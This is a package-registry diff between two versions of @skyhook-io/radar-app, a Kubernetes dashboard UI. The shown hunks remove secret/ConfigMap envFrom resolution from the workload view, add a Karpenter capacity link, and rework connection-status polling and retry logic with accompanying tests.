@skyhook-io/radar-app 1.9.0 → 1.9.2
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +7 -7
- package/src/App.tsx +69 -16
- package/src/api/apiResources.test.ts +11 -0
- package/src/api/apiResources.ts +51 -12
- package/src/api/client.capacity.test.ts +92 -0
- package/src/api/client.ts +2905 -2081
- package/src/api/config.test.ts +47 -0
- package/src/api/config.ts +15 -0
- package/src/api/diagnose.ts +15 -15
- package/src/components/ConnectionErrorView.test.tsx +88 -0
- package/src/components/ConnectionErrorView.tsx +128 -22
- package/src/components/capacity/CapacityActivity.tsx +787 -0
- package/src/components/capacity/CapacityDemand.tsx +961 -0
- package/src/components/capacity/CapacityOverview.tsx +1529 -0
- package/src/components/capacity/CapacityPoolDetail.tsx +1626 -0
- package/src/components/capacity/CapacityView.test.tsx +2287 -0
- package/src/components/capacity/CapacityView.tsx +85 -0
- package/src/components/capacity/ClusterSchedulingCard.tsx +603 -0
- package/src/components/capacity/DemandNomination.test.tsx +151 -0
- package/src/components/capacity/certaintyGlyph.test.tsx +191 -0
- package/src/components/capacity/coverageCertainty.test.ts +162 -0
- package/src/components/capacity/podDemandGate.test.ts +47 -0
- package/src/components/capacity/podDemandGate.ts +22 -0
- package/src/components/capacity/schedulingBar.test.ts +244 -0
- package/src/components/capacity/shared.tsx +1841 -0
- package/src/components/diagnose/AISettings.tsx +21 -7
- package/src/components/diagnose/AgentSetupNotice.tsx +117 -0
- package/src/components/diagnose/DiagnoseContext.tsx +127 -57
- package/src/components/diagnose/DiagnoseSurface.tsx +33 -15
- package/src/components/diagnose/LocalDiagnoseAction.tsx +50 -27
- package/src/components/diagnose/agentCatalog.ts +30 -0
- package/src/components/diagnose/parts.test.tsx +125 -0
- package/src/components/diagnose/parts.tsx +166 -75
- package/src/components/home/CapacityCard.test.tsx +150 -0
- package/src/components/home/CapacityCard.tsx +125 -0
- package/src/components/home/HomeView.tsx +15 -1
- package/src/components/issues/IssuesPane.test.ts +142 -0
- package/src/components/issues/IssuesPane.tsx +142 -38
- package/src/components/nav/PrimaryNavRail.test.tsx +20 -0
- package/src/components/nav/PrimaryNavRail.tsx +191 -103
- package/src/components/resources/ResourcesView.tsx +9 -8
- package/src/components/resources/renderers/KarpenterNodePoolRenderer.tsx +29 -1
- package/src/components/resources/renderers/PodRenderer.tsx +32 -3
- package/src/components/settings/SettingsDialog.tsx +31 -19
- package/src/components/timeline/TimelineView.tsx +17 -3
- package/src/components/ui/command-items.ts +222 -98
- package/src/components/workload/WorkloadView.tsx +16 -83
- package/src/context/ConnectionContext.test.ts +39 -0
- package/src/context/ConnectionContext.tsx +155 -51
- package/src/context/DiagnoseCustomization.tsx +1 -1
- package/src/utils/shell-safe.test.ts +55 -0
- package/src/utils/shell-safe.ts +21 -0
|
@@ -1,6 +1,7 @@
|
|
|
1
1
|
import { useMemo, useEffect, useCallback, useState } from 'react'
|
|
2
2
|
import { useQueries, useQueryClient } from '@tanstack/react-query'
|
|
3
3
|
import { useNavigate, useLocation, useSearchParams } from 'react-router-dom'
|
|
4
|
+
import { workloadPodAwaitsScheduling } from '../capacity/podDemandGate'
|
|
4
5
|
import { clsx } from 'clsx'
|
|
5
6
|
import { Terminal } from 'lucide-react'
|
|
6
7
|
import {
|
|
@@ -19,10 +20,9 @@ import {
|
|
|
19
20
|
gitOpsRouteForOwner,
|
|
20
21
|
gitOpsOwnerFromRelationships,
|
|
21
22
|
getGitOpsResourceStatus,
|
|
22
|
-
resolvedEnvFromKey,
|
|
23
23
|
} from '@skyhook-io/k8s-ui'
|
|
24
24
|
import type { ServicePortRenderProps } from '@skyhook-io/k8s-ui/components/resources/renderers/ServiceRenderer'
|
|
25
|
-
import type { SelectedResource, ResourceRef, Relationships
|
|
25
|
+
import type { SelectedResource, ResourceRef, Relationships } from '../../types'
|
|
26
26
|
import {
|
|
27
27
|
kindToPlural,
|
|
28
28
|
pluralToKind,
|
|
@@ -95,6 +95,7 @@ import {
|
|
|
95
95
|
import { useToast } from '../ui/Toast'
|
|
96
96
|
import { Tooltip } from '../ui/Tooltip'
|
|
97
97
|
import { PodRenderer } from '../resources/renderers/PodRenderer'
|
|
98
|
+
import { KarpenterNodePoolRenderer } from '../resources/renderers/KarpenterNodePoolRenderer'
|
|
98
99
|
import { NodeRenderer } from '../resources/renderers/NodeRenderer'
|
|
99
100
|
import { ServiceRenderer } from '../resources/renderers/ServiceRenderer'
|
|
100
101
|
import { WorkloadRenderer } from '../resources/renderers/WorkloadRenderer'
|
|
@@ -126,6 +127,7 @@ const BATCH_EXECUTION_KINDS = new Set([
|
|
|
126
127
|
// Stable reference — web renderer wrappers inject platform hooks internally
|
|
127
128
|
const rendererOverrides: RendererOverrides = {
|
|
128
129
|
PodRenderer,
|
|
130
|
+
KarpenterNodePoolRenderer,
|
|
129
131
|
NodeRenderer,
|
|
130
132
|
ServiceRenderer,
|
|
131
133
|
WorkloadRenderer,
|
|
@@ -548,85 +550,6 @@ export function WorkloadView({
|
|
|
548
550
|
[helmOwner, helmSourceResource],
|
|
549
551
|
)
|
|
550
552
|
|
|
551
|
-
// For pods: extract envFrom ConfigMap/Secret names and resolve their keys
|
|
552
|
-
const isPod = apiKind === 'pods'
|
|
553
|
-
const { envFromConfigMapNames, envFromSecretNames } = useMemo(() => {
|
|
554
|
-
if (!isPod || !resource)
|
|
555
|
-
return {
|
|
556
|
-
envFromConfigMapNames: [] as string[],
|
|
557
|
-
envFromSecretNames: [] as string[],
|
|
558
|
-
}
|
|
559
|
-
const cmNames = new Set<string>()
|
|
560
|
-
const secretNames = new Set<string>()
|
|
561
|
-
const containers = [
|
|
562
|
-
...(resource.spec?.containers || []),
|
|
563
|
-
...(resource.spec?.initContainers || []),
|
|
564
|
-
]
|
|
565
|
-
for (const c of containers) {
|
|
566
|
-
for (const ef of c.envFrom || []) {
|
|
567
|
-
if (ef.configMapRef?.name) cmNames.add(ef.configMapRef.name)
|
|
568
|
-
if (ef.secretRef?.name) secretNames.add(ef.secretRef.name)
|
|
569
|
-
}
|
|
570
|
-
}
|
|
571
|
-
return {
|
|
572
|
-
envFromConfigMapNames: Array.from(cmNames),
|
|
573
|
-
envFromSecretNames: Array.from(secretNames),
|
|
574
|
-
}
|
|
575
|
-
}, [isPod, resource])
|
|
576
|
-
|
|
577
|
-
const configMapQueries = useQueries({
|
|
578
|
-
queries: envFromConfigMapNames.map((cmName) => ({
|
|
579
|
-
queryKey: ['resources', 'configmaps', namespace, cmName],
|
|
580
|
-
queryFn: () => fetchJSON<any>(`/resources/configmaps/${namespace}/${cmName}`),
|
|
581
|
-
enabled: isPod,
|
|
582
|
-
staleTime: 30000,
|
|
583
|
-
})),
|
|
584
|
-
})
|
|
585
|
-
|
|
586
|
-
const secretQueries = useQueries({
|
|
587
|
-
queries: envFromSecretNames.map((secretName) => ({
|
|
588
|
-
queryKey: ['resources', 'secrets', namespace, secretName],
|
|
589
|
-
queryFn: () => fetchJSON<any>(`/resources/secrets/${namespace}/${secretName}`),
|
|
590
|
-
enabled: isPod,
|
|
591
|
-
staleTime: 30000,
|
|
592
|
-
})),
|
|
593
|
-
})
|
|
594
|
-
|
|
595
|
-
const resolvedEnvFrom = useMemo(() => {
|
|
596
|
-
if (!isPod || (envFromConfigMapNames.length === 0 && envFromSecretNames.length === 0))
|
|
597
|
-
return undefined
|
|
598
|
-
const result: ResolvedEnvFrom = {}
|
|
599
|
-
envFromConfigMapNames.forEach((n, i) => {
|
|
600
|
-
// Single-resource endpoint returns { resource, relationships } wrapper
|
|
601
|
-
const cm = configMapQueries[i]?.data?.resource ?? configMapQueries[i]?.data
|
|
602
|
-
if (cm)
|
|
603
|
-
result[resolvedEnvFromKey('configmap', n)] = {
|
|
604
|
-
keys: Object.keys(cm.data || {}),
|
|
605
|
-
values: cm.data || {},
|
|
606
|
-
isSecret: false,
|
|
607
|
-
}
|
|
608
|
-
})
|
|
609
|
-
envFromSecretNames.forEach((n, i) => {
|
|
610
|
-
const secret = secretQueries[i]?.data?.resource ?? secretQueries[i]?.data
|
|
611
|
-
if (secret) {
|
|
612
|
-
const decodedValues: Record<string, string> = {}
|
|
613
|
-
for (const [k, v] of Object.entries(secret.data || {})) {
|
|
614
|
-
try {
|
|
615
|
-
decodedValues[k] = atob(v as string)
|
|
616
|
-
} catch {
|
|
617
|
-
decodedValues[k] = v as string
|
|
618
|
-
}
|
|
619
|
-
}
|
|
620
|
-
result[resolvedEnvFromKey('secret', n)] = {
|
|
621
|
-
keys: Object.keys(decodedValues),
|
|
622
|
-
values: decodedValues,
|
|
623
|
-
isSecret: true,
|
|
624
|
-
}
|
|
625
|
-
}
|
|
626
|
-
})
|
|
627
|
-
return Object.keys(result).length > 0 ? result : undefined
|
|
628
|
-
}, [isPod, envFromConfigMapNames, envFromSecretNames, configMapQueries, secretQueries])
|
|
629
|
-
|
|
630
553
|
// Fetch topology for hierarchy building (only when expanded)
|
|
631
554
|
const { data: topology } = useTopology([namespace], 'resources', {
|
|
632
555
|
enabled: expanded,
|
|
@@ -654,7 +577,7 @@ export function WorkloadView({
|
|
|
654
577
|
|
|
655
578
|
// RBAC
|
|
656
579
|
const canUpdateSecrets = useCanUpdateSecrets()
|
|
657
|
-
const { features } = useCapabilitiesContext()
|
|
580
|
+
const { features, karpenter } = useCapabilitiesContext()
|
|
658
581
|
const { canPortForward } = useNamespacedCapabilities(namespace)
|
|
659
582
|
const isLocalDeployment = useIsLocalDeployment()
|
|
660
583
|
const showServingPortForward = canPortForward || !isLocalDeployment
|
|
@@ -837,6 +760,9 @@ export function WorkloadView({
|
|
|
837
760
|
|
|
838
761
|
const supportsWorkloadPods = ['deployments', 'statefulsets', 'daemonsets'].includes(apiKind)
|
|
839
762
|
const workloadPodsQuery = useWorkloadPods(supportsWorkloadPods ? apiKind : '', namespace, name)
|
|
763
|
+
const workloadAwaitsCapacity =
|
|
764
|
+
karpenter?.state === 'available' &&
|
|
765
|
+
(workloadPodsQuery.data?.pods ?? []).some(workloadPodAwaitsScheduling)
|
|
840
766
|
const servingRefs = useMemo(() => collectServingRefs(relationships), [relationships])
|
|
841
767
|
const servingQueries = useQueries({
|
|
842
768
|
queries: servingRefs.map((ref) => {
|
|
@@ -887,6 +813,14 @@ export function WorkloadView({
|
|
|
887
813
|
certificateInfo={certificateInfo}
|
|
888
814
|
hpaDiagnosis={hpaDiagnosis}
|
|
889
815
|
workloadPods={supportsWorkloadPods ? workloadPodsQuery.data?.pods : undefined}
|
|
816
|
+
onEvaluateCapacity={
|
|
817
|
+
workloadAwaitsCapacity
|
|
818
|
+
? () =>
|
|
819
|
+
navigateRouter(
|
|
820
|
+
`/capacity/demand?owner=${encodeURIComponent(`${namespace}/${pluralToKind(apiKind)}/${name}`)}`,
|
|
821
|
+
)
|
|
822
|
+
: undefined
|
|
823
|
+
}
|
|
890
824
|
workloadPodsLoading={supportsWorkloadPods ? workloadPodsQuery.isLoading : false}
|
|
891
825
|
workloadPodsError={supportsWorkloadPods ? (workloadPodsQuery.error as Error | null) : null}
|
|
892
826
|
servingResources={servingResources}
|
|
@@ -969,7 +903,6 @@ export function WorkloadView({
|
|
|
969
903
|
onDownload={desktopDownload}
|
|
970
904
|
actionsBarProps={actionsBarProps}
|
|
971
905
|
rendererOverrides={rendererOverrides}
|
|
972
|
-
resolvedEnvFrom={resolvedEnvFrom}
|
|
973
906
|
renderOverviewExtra={({ kind: k, namespace: ns, name: n }) => (
|
|
974
907
|
<>
|
|
975
908
|
<FluxSourceConsumersSection kind={k} namespace={ns} name={n} />
|
|
@@ -0,0 +1,39 @@
|
|
|
1
|
+
import { describe, expect, it } from 'vitest'
|
|
2
|
+
|
|
3
|
+
import { shouldApplyPolledConnection, shouldAutoRetryConnection } from './ConnectionContext'
|
|
4
|
+
|
|
5
|
+
describe('shouldAutoRetryConnection', () => {
|
|
6
|
+
it('retries transient failures', () => {
|
|
7
|
+
expect(shouldAutoRetryConnection('network')).toBe(true)
|
|
8
|
+
expect(shouldAutoRetryConnection('timeout')).toBe(true)
|
|
9
|
+
expect(shouldAutoRetryConnection(undefined)).toBe(true)
|
|
10
|
+
})
|
|
11
|
+
|
|
12
|
+
it('leaves auth-shaped failures to the server-side recovery loop', () => {
|
|
13
|
+
expect(shouldAutoRetryConnection('auth')).toBe(false)
|
|
14
|
+
expect(shouldAutoRetryConnection('auth-rejected')).toBe(false)
|
|
15
|
+
})
|
|
16
|
+
|
|
17
|
+
it('leaves configuration and RBAC errors for the user to resolve', () => {
|
|
18
|
+
expect(shouldAutoRetryConnection('config')).toBe(false)
|
|
19
|
+
expect(shouldAutoRetryConnection('rbac')).toBe(false)
|
|
20
|
+
})
|
|
21
|
+
})
|
|
22
|
+
|
|
23
|
+
describe('shouldApplyPolledConnection', () => {
|
|
24
|
+
it('recovers a missed disconnected SSE frame', () => {
|
|
25
|
+
expect(shouldApplyPolledConnection('connected', 'disconnected', 2, 2)).toBe(true)
|
|
26
|
+
})
|
|
27
|
+
|
|
28
|
+
it('does not flash a connected UI back to startup progress', () => {
|
|
29
|
+
expect(shouldApplyPolledConnection('connected', 'connecting', 2, 2)).toBe(false)
|
|
30
|
+
})
|
|
31
|
+
|
|
32
|
+
it('does not let a poll started before an SSE update overwrite it', () => {
|
|
33
|
+
expect(shouldApplyPolledConnection('disconnected', 'connected', 1, 2)).toBe(false)
|
|
34
|
+
})
|
|
35
|
+
|
|
36
|
+
it('allows a fresh fallback poll to observe recovery after an SSE update', () => {
|
|
37
|
+
expect(shouldApplyPolledConnection('disconnected', 'connected', 2, 2)).toBe(true)
|
|
38
|
+
})
|
|
39
|
+
})
|
|
@@ -1,6 +1,5 @@
|
|
|
1
1
|
import { createContext, useContext, useState, useCallback, useEffect, useRef, ReactNode } from 'react'
|
|
2
2
|
import { useQuery, useMutation, useQueryClient } from '@tanstack/react-query'
|
|
3
|
-
import type { ContextInfo } from '../types'
|
|
4
3
|
import { getApiBase } from '../api/config'
|
|
5
4
|
import { apiFetch } from '../api/client'
|
|
6
5
|
|
|
@@ -11,17 +10,22 @@ export interface ConnectionState {
|
|
|
11
10
|
context: string
|
|
12
11
|
clusterName?: string
|
|
13
12
|
error?: string
|
|
14
|
-
errorType?: string // config, auth, rbac, network, timeout, tls, unknown
|
|
13
|
+
errorType?: string // config, auth, auth-rejected, auth-plugin-stuck, rbac, network, timeout, tls, unknown
|
|
15
14
|
progressMessage?: string
|
|
16
15
|
}
|
|
17
16
|
|
|
18
17
|
interface ConnectionStatusResponse extends ConnectionState {
|
|
19
|
-
|
|
18
|
+
// Server-side auth recovery owns the episode: suppress browser auto-retry
|
|
19
|
+
// even when errorType has flipped to a non-auth value.
|
|
20
|
+
authRecoveryOwed?: boolean
|
|
21
|
+
}
|
|
22
|
+
|
|
23
|
+
interface PolledConnectionStatus extends ConnectionStatusResponse {
|
|
24
|
+
sseGenerationAtStart: number
|
|
20
25
|
}
|
|
21
26
|
|
|
22
27
|
interface ConnectionContextValue {
|
|
23
28
|
connection: ConnectionState
|
|
24
|
-
contexts: ContextInfo[]
|
|
25
29
|
retry: () => void
|
|
26
30
|
isRetrying: boolean
|
|
27
31
|
updateFromSSE: (status: ConnectionState) => void
|
|
@@ -40,21 +44,41 @@ class ConnectionRetryError extends Error {
|
|
|
40
44
|
const ConnectionContext = createContext<ConnectionContextValue | null>(null)
|
|
41
45
|
const AUTO_RETRY_INITIAL_DELAY_MS = 10000
|
|
42
46
|
const AUTO_RETRY_MAX_DELAY_MS = 60000
|
|
47
|
+
const CONNECTION_STATUS_FALLBACK_POLL_MS = 30000
|
|
43
48
|
|
|
44
49
|
export function shouldAutoRetryConnection(errorType?: string): boolean {
|
|
45
|
-
|
|
50
|
+
// Auth-shaped failures are excluded: the server runs its own backoff
|
|
51
|
+
// reconnect loop for those, and each browser retry would invoke the exec
|
|
52
|
+
// credential plugin again. Manual "Retry Connection" stays available for
|
|
53
|
+
// an immediate check.
|
|
54
|
+
return errorType !== 'config' && errorType !== 'rbac' && !errorType?.startsWith('auth')
|
|
55
|
+
}
|
|
56
|
+
|
|
57
|
+
export function shouldApplyPolledConnection(
|
|
58
|
+
currentState: ConnectionStateType,
|
|
59
|
+
polledState: ConnectionStateType,
|
|
60
|
+
pollSSEGeneration: number,
|
|
61
|
+
currentSSEGeneration: number,
|
|
62
|
+
): boolean {
|
|
63
|
+
return pollSSEGeneration === currentSSEGeneration
|
|
64
|
+
&& (currentState !== 'connected' || polledState !== 'connecting')
|
|
46
65
|
}
|
|
47
66
|
|
|
48
|
-
async function fetchConnectionStatus(): Promise<
|
|
67
|
+
async function fetchConnectionStatus(sseGenerationAtStart: number): Promise<PolledConnectionStatus> {
|
|
49
68
|
// apiFetch handles a 401 globally (re-auth redirect). These endpoints are
|
|
50
69
|
// no longer auth-exempt, so a session that expires while the connection-
|
|
51
70
|
// error screen is parked open must route through that path rather than
|
|
52
71
|
// surfacing as a misleading "cannot connect to cluster" error.
|
|
53
|
-
|
|
72
|
+
//
|
|
73
|
+
// ?contexts=0: context enumeration re-reads kubeconfig files under the
|
|
74
|
+
// client write lock on the server — too costly for a perpetual poll, and
|
|
75
|
+
// nothing here consumes the list (ContextSwitcher has its own query).
|
|
76
|
+
const response = await apiFetch(`${getApiBase()}/connection?contexts=0`)
|
|
54
77
|
if (!response.ok) {
|
|
55
78
|
throw new Error('Failed to fetch connection status')
|
|
56
79
|
}
|
|
57
|
-
|
|
80
|
+
const status = await response.json() as ConnectionStatusResponse
|
|
81
|
+
return { ...status, sseGenerationAtStart }
|
|
58
82
|
}
|
|
59
83
|
|
|
60
84
|
async function retryConnection(): Promise<ConnectionState> {
|
|
@@ -74,11 +98,11 @@ export function ConnectionProvider({ children }: { children: ReactNode }) {
|
|
|
74
98
|
state: 'connecting',
|
|
75
99
|
context: '',
|
|
76
100
|
})
|
|
77
|
-
const [contexts, setContexts] = useState<ContextInfo[]>([])
|
|
78
101
|
const [isAutoRetrying, setIsAutoRetrying] = useState(false)
|
|
79
|
-
// Track
|
|
80
|
-
//
|
|
102
|
+
// Track whether SSE has delivered connection state so retry races prefer its
|
|
103
|
+
// immediate recovery signal over an older failed request.
|
|
81
104
|
const sseActiveRef = useRef(false)
|
|
105
|
+
const sseGenerationRef = useRef(0)
|
|
82
106
|
// Track whether we've reached 'connected' at least once. Distinguishes the
|
|
83
107
|
// initial connect (bootstrap queries already fetched while 'connecting') from
|
|
84
108
|
// a reconnect after a drop (cache may be stale across the gap).
|
|
@@ -86,6 +110,10 @@ export function ConnectionProvider({ children }: { children: ReactNode }) {
|
|
|
86
110
|
const autoRetryInFlightRef = useRef(false)
|
|
87
111
|
const autoRetryDelayRef = useRef(AUTO_RETRY_INITIAL_DELAY_MS)
|
|
88
112
|
const manualRetryPendingRef = useRef(false)
|
|
113
|
+
// Fed by the status poll only (SSE frames don't carry the field, and must
|
|
114
|
+
// not clear it): while the server's recovery loop owns the episode, browser
|
|
115
|
+
// auto-retry stands down even if errorType flips to a non-auth value.
|
|
116
|
+
const serverOwnsRecoveryRef = useRef(false)
|
|
89
117
|
// Whether the QueryClient already held data when this provider mounted. A host
|
|
90
118
|
// can share one client across cluster-scoped RadarApp mounts (see RadarApp's
|
|
91
119
|
// `queryClient` prop); that client may carry another cluster's data under
|
|
@@ -99,42 +127,103 @@ export function ConnectionProvider({ children }: { children: ReactNode }) {
|
|
|
99
127
|
cacheWarmAtMountRef.current = queryClient.getQueryCache().getAll().length > 0
|
|
100
128
|
}
|
|
101
129
|
|
|
102
|
-
//
|
|
103
|
-
//
|
|
104
|
-
|
|
130
|
+
// Mirror for the poll-apply effect: it needs the current state to detect a
|
|
131
|
+
// disconnected→connected transition, which a functional updater can't
|
|
132
|
+
// surface without side effects inside the updater. Deliberately written
|
|
133
|
+
// during render (not in an effect): when an SSE frame and a poll land in the
|
|
134
|
+
// same commit, the poll effect must already see the SSE-updated state or it
|
|
135
|
+
// would double-run the connected cache refresh.
|
|
136
|
+
const connectionRef = useRef(connection)
|
|
137
|
+
connectionRef.current = connection
|
|
138
|
+
|
|
139
|
+
// Cache refresh shared by every path that lands on 'connected'.
|
|
140
|
+
const lastCacheRefreshAtRef = useRef(0)
|
|
141
|
+
const refreshCachesOnConnect = useCallback(() => {
|
|
142
|
+
const firstConnect = !hasConnectedRef.current
|
|
143
|
+
hasConnectedRef.current = true
|
|
144
|
+
// Poll and SSE can both observe the same reconnect within moments of each
|
|
145
|
+
// other (SSE always writes a connected frame on stream open); refreshing
|
|
146
|
+
// twice cancels and refires every in-flight bootstrap fetch.
|
|
147
|
+
if (Date.now() - lastCacheRefreshAtRef.current < 1500) {
|
|
148
|
+
return
|
|
149
|
+
}
|
|
150
|
+
lastCacheRefreshAtRef.current = Date.now()
|
|
151
|
+
// A reconnect after a drop (cache stale across the gap), or a first connect
|
|
152
|
+
// onto a client that already carried data at mount (shared across clusters),
|
|
153
|
+
// refreshes the whole cache. A clean first connect only needs to recover the
|
|
154
|
+
// bootstrap queries that 503'd while the cluster was still 'connecting'
|
|
155
|
+
// (status === 'error'); the rest already fetched fresh during 'connecting',
|
|
156
|
+
// so re-fetching the whole cache there would double-load every endpoint.
|
|
157
|
+
if (!firstConnect || cacheWarmAtMountRef.current) {
|
|
158
|
+
queryClient.invalidateQueries()
|
|
159
|
+
} else {
|
|
160
|
+
queryClient.invalidateQueries({ predicate: (q) => q.state.status === 'error' })
|
|
161
|
+
}
|
|
162
|
+
}, [queryClient])
|
|
163
|
+
|
|
164
|
+
// Poll quickly while connecting and slowly otherwise so a dropped SSE state
|
|
165
|
+
// frame cannot leave the UI stuck on stale connection state. Runs in hidden
|
|
166
|
+
// tabs and catches up on focus — a parked tab is exactly where a dropped SSE
|
|
167
|
+
// frame otherwise strands stale state.
|
|
168
|
+
const { data, dataUpdatedAt, error: pollError } = useQuery<PolledConnectionStatus>({
|
|
105
169
|
queryKey: ['connection-status'],
|
|
106
|
-
queryFn: fetchConnectionStatus,
|
|
170
|
+
queryFn: () => fetchConnectionStatus(sseGenerationRef.current),
|
|
107
171
|
staleTime: 500, // Allow frequent refetches while connecting
|
|
108
|
-
refetchInterval: connection.state === 'connecting' ? 500 :
|
|
109
|
-
|
|
172
|
+
refetchInterval: connection.state === 'connecting' ? 500 : CONNECTION_STATUS_FALLBACK_POLL_MS,
|
|
173
|
+
refetchIntervalInBackground: true,
|
|
174
|
+
refetchOnWindowFocus: true,
|
|
110
175
|
})
|
|
111
176
|
|
|
112
|
-
//
|
|
113
|
-
//
|
|
177
|
+
// The poll is the safety net for dropped SSE frames — if it starts failing
|
|
178
|
+
// the UI may freeze on stale state, so leave a trace.
|
|
114
179
|
useEffect(() => {
|
|
115
|
-
if (
|
|
116
|
-
|
|
117
|
-
setContexts(data.contexts || [])
|
|
118
|
-
// Only update connection state from poll if SSE hasn't taken over
|
|
119
|
-
if (!sseActiveRef.current) {
|
|
120
|
-
setConnection({
|
|
121
|
-
state: data.state,
|
|
122
|
-
context: data.context,
|
|
123
|
-
clusterName: data.clusterName,
|
|
124
|
-
error: data.error,
|
|
125
|
-
errorType: data.errorType,
|
|
126
|
-
progressMessage: data.progressMessage,
|
|
127
|
-
})
|
|
128
|
-
}
|
|
180
|
+
if (pollError) {
|
|
181
|
+
console.warn('[connection] status poll failed:', pollError)
|
|
129
182
|
}
|
|
130
|
-
}, [
|
|
183
|
+
}, [pollError])
|
|
184
|
+
|
|
185
|
+
// Update state from query result. dataUpdatedAt is a deliberate dep:
|
|
186
|
+
// structural sharing keeps `data`'s identity stable across byte-identical
|
|
187
|
+
// polls, so without it a result dropped by the retry-in-flight guard below
|
|
188
|
+
// would never be re-applied — a stuck error screen when SSE is down.
|
|
189
|
+
useEffect(() => {
|
|
190
|
+
if (!data) return
|
|
191
|
+
if (data.authRecoveryOwed !== undefined) {
|
|
192
|
+
serverOwnsRecoveryRef.current = data.authRecoveryOwed
|
|
193
|
+
}
|
|
194
|
+
// A poll resolving mid-retry would flip the UI back to the error screen
|
|
195
|
+
// while the retry is still running; the retry's own result supersedes it.
|
|
196
|
+
if (manualRetryPendingRef.current || autoRetryInFlightRef.current) return
|
|
197
|
+
const current = connectionRef.current
|
|
198
|
+
if (!shouldApplyPolledConnection(
|
|
199
|
+
current.state,
|
|
200
|
+
data.state,
|
|
201
|
+
data.sseGenerationAtStart,
|
|
202
|
+
sseGenerationRef.current,
|
|
203
|
+
)) {
|
|
204
|
+
return
|
|
205
|
+
}
|
|
206
|
+
const becameConnected = current.state !== 'connected' && data.state === 'connected'
|
|
207
|
+
setConnection({
|
|
208
|
+
state: data.state,
|
|
209
|
+
context: data.context,
|
|
210
|
+
clusterName: data.clusterName,
|
|
211
|
+
error: data.error,
|
|
212
|
+
errorType: data.errorType,
|
|
213
|
+
progressMessage: data.progressMessage,
|
|
214
|
+
})
|
|
215
|
+
if (becameConnected) {
|
|
216
|
+
refreshCachesOnConnect()
|
|
217
|
+
}
|
|
218
|
+
}, [data, dataUpdatedAt, refreshCachesOnConnect])
|
|
131
219
|
|
|
132
220
|
// Retry mutation
|
|
133
221
|
const retryMutation = useMutation({
|
|
134
222
|
mutationFn: retryConnection,
|
|
135
223
|
onMutate: () => {
|
|
136
224
|
manualRetryPendingRef.current = true
|
|
137
|
-
//
|
|
225
|
+
// Until SSE re-delivers state, a failed retry may report its own error
|
|
226
|
+
// rather than deferring to a stale "connected"
|
|
138
227
|
sseActiveRef.current = false
|
|
139
228
|
// Set connecting state while retrying
|
|
140
229
|
setConnection(prev => ({
|
|
@@ -146,6 +235,12 @@ export function ConnectionProvider({ children }: { children: ReactNode }) {
|
|
|
146
235
|
},
|
|
147
236
|
onSuccess: (result) => {
|
|
148
237
|
setConnection(result)
|
|
238
|
+
if (result.state === 'connected') {
|
|
239
|
+
// Keep the first-connect bookkeeping and the double-refresh window
|
|
240
|
+
// honest — the SSE frame that follows must not re-invalidate.
|
|
241
|
+
hasConnectedRef.current = true
|
|
242
|
+
lastCacheRefreshAtRef.current = Date.now()
|
|
243
|
+
}
|
|
149
244
|
// Clear all query cache to get fresh data from new connection
|
|
150
245
|
queryClient.removeQueries()
|
|
151
246
|
queryClient.invalidateQueries()
|
|
@@ -165,6 +260,11 @@ export function ConnectionProvider({ children }: { children: ReactNode }) {
|
|
|
165
260
|
},
|
|
166
261
|
onSettled: () => {
|
|
167
262
|
manualRetryPendingRef.current = false
|
|
263
|
+
// A poll that resolved mid-retry was deliberately dropped; refetch now
|
|
264
|
+
// rather than leaving the UI on the retry's outcome until the next
|
|
265
|
+
// 30s tick (a failed retry against a healthy server would otherwise
|
|
266
|
+
// park the error screen).
|
|
267
|
+
queryClient.invalidateQueries({ queryKey: ['connection-status'] })
|
|
168
268
|
},
|
|
169
269
|
})
|
|
170
270
|
useEffect(() => {
|
|
@@ -186,6 +286,12 @@ export function ConnectionProvider({ children }: { children: ReactNode }) {
|
|
|
186
286
|
scheduleRetry()
|
|
187
287
|
return
|
|
188
288
|
}
|
|
289
|
+
// Checked at fire time (not arm time): the poll may have learned
|
|
290
|
+
// mid-wait that the server's recovery loop owns this episode.
|
|
291
|
+
if (serverOwnsRecoveryRef.current) {
|
|
292
|
+
scheduleRetry()
|
|
293
|
+
return
|
|
294
|
+
}
|
|
189
295
|
|
|
190
296
|
autoRetryInFlightRef.current = true
|
|
191
297
|
setIsAutoRetrying(true)
|
|
@@ -197,6 +303,10 @@ export function ConnectionProvider({ children }: { children: ReactNode }) {
|
|
|
197
303
|
autoRetryDelayRef.current = AUTO_RETRY_INITIAL_DELAY_MS
|
|
198
304
|
sseActiveRef.current = false
|
|
199
305
|
setConnection(result)
|
|
306
|
+
if (result.state === 'connected') {
|
|
307
|
+
hasConnectedRef.current = true
|
|
308
|
+
lastCacheRefreshAtRef.current = Date.now()
|
|
309
|
+
}
|
|
200
310
|
queryClient.removeQueries()
|
|
201
311
|
queryClient.invalidateQueries()
|
|
202
312
|
})
|
|
@@ -219,6 +329,9 @@ export function ConnectionProvider({ children }: { children: ReactNode }) {
|
|
|
219
329
|
.finally(() => {
|
|
220
330
|
autoRetryInFlightRef.current = false
|
|
221
331
|
setIsAutoRetrying(false)
|
|
332
|
+
// Mirror the manual-retry onSettled: re-poll so a status update
|
|
333
|
+
// dropped by the mid-retry guard isn't stranded until next tick.
|
|
334
|
+
queryClient.invalidateQueries({ queryKey: ['connection-status'] })
|
|
222
335
|
if (!stopped && !recovered) {
|
|
223
336
|
scheduleRetry()
|
|
224
337
|
}
|
|
@@ -244,13 +357,17 @@ export function ConnectionProvider({ children }: { children: ReactNode }) {
|
|
|
244
357
|
|
|
245
358
|
// Handler for SSE connection_state events
|
|
246
359
|
const updateFromSSE = useCallback((status: ConnectionState) => {
|
|
247
|
-
//
|
|
360
|
+
// Feed the retry-race guards: a live SSE stream means retry failures must
|
|
361
|
+
// not clobber a recovery it already delivered. The generation bump lets
|
|
362
|
+
// in-flight polls detect they raced this frame.
|
|
248
363
|
sseActiveRef.current = true
|
|
364
|
+
sseGenerationRef.current += 1
|
|
249
365
|
setConnection(prev => {
|
|
250
366
|
// Don't transition back to 'connecting' from 'connected'. This happens when the
|
|
251
367
|
// pod restarts and the SSE reconnects while the new pod's K8s cache is still
|
|
252
368
|
// syncing. Hiding the main content here causes a flash — keep the 'connected'
|
|
253
369
|
// state and wait for either 'connected' (sync done) or 'disconnected' (failure).
|
|
370
|
+
// (shouldApplyPolledConnection encodes the same suppression for the poll path.)
|
|
254
371
|
if (prev.state === 'connected' && status.state === 'connecting') {
|
|
255
372
|
return prev
|
|
256
373
|
}
|
|
@@ -258,25 +375,12 @@ export function ConnectionProvider({ children }: { children: ReactNode }) {
